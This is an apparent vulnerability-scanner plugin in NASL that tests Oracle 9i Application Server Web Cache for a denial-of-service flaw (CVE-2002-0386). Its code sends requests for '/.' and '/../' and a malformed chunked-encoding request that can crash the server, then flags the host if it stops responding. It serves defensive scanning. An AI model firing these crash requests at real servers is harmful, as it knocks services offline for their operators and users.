Oracle 9i Application Server Web Cache Admin Interface DoS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11076");
  script_version("2026-02-04T05:55:03+0000");
  script_tag(name:"last_modification", value:"2026-02-04 05:55:03 +0000 (Wed, 04 Feb 2026)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2002-0386");
  script_name("Oracle 9i Application Server Web Cache Admin Interface DoS Vulnerability - Active Check");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("gb_get_http_banner.nasl", "httpver.nasl");
  script_mandatory_keys("OracleAS-Web-Cache/banner");
  script_require_ports("Services/www", 4000);

  script_xref(name:"URL", value:"https://web.archive.org/web/20040815141949/http://www.atstake.com/research/advisories/2002/a102802-1.txt");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210121154452/http://www.securityfocus.com/bid/3765");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210121155520/http://www.securityfocus.com/bid/5902");
  script_xref(name:"URL", value:"https://web.archive.org/web/20040719150225/http://otn.oracle.com/deploy/security/pdf/2002alert43rev1.pdf");

  script_tag(name:"summary", value:"Oracle 9i Application Server (AS) Web Cache is prone to a denial
  of service (DoS) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET requests and checks if the
  service is still responding.");

  script_tag(name:"insight", value:"It was possible to kill the web server by requesting '/.' or
  '/../', or sending an invalid request using chunked content encoding.");

  script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make the web server
  crash continually.");

  script_tag(name:"affected", value:"Oracle 9i AS Web Cache version 2.0.0.1.0 is known to be
  affected.");

  script_tag(name:"solution", value:"Update the software or protect it with a filtering reverse
  proxy.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port( default:4000 );

banner = http_get_remote_headers( port:port );
if( ! banner || "OracleAS-Web-Cache" >!< banner )
  exit( 0 );

if( http_is_dead( port:port ) )
  exit( 0 );

# The advisory says "GET /. HTTP/1.0" - however this won't get
# past some transparent proxies, so it's better to use http_get()

req = http_get( port:port, item:"/." );
res = http_send_recv( port:port, data:req );

req = http_get( port:port, item:"/../" );
res = http_send_recv( port:port, data:req );

req = http_get(port: port, item: "/");
req = req - '\r\n';
req = strcat( req, 'Transfer-Encoding: chunked\r\n\r\n' );
res = http_send_recv( port:port, data:req );

sleep( 1 ); # Is it really necessary ?

if( http_is_dead( port:port ) ) {
  security_message( port:port );
  exit( 0 );
}

exit( 99 );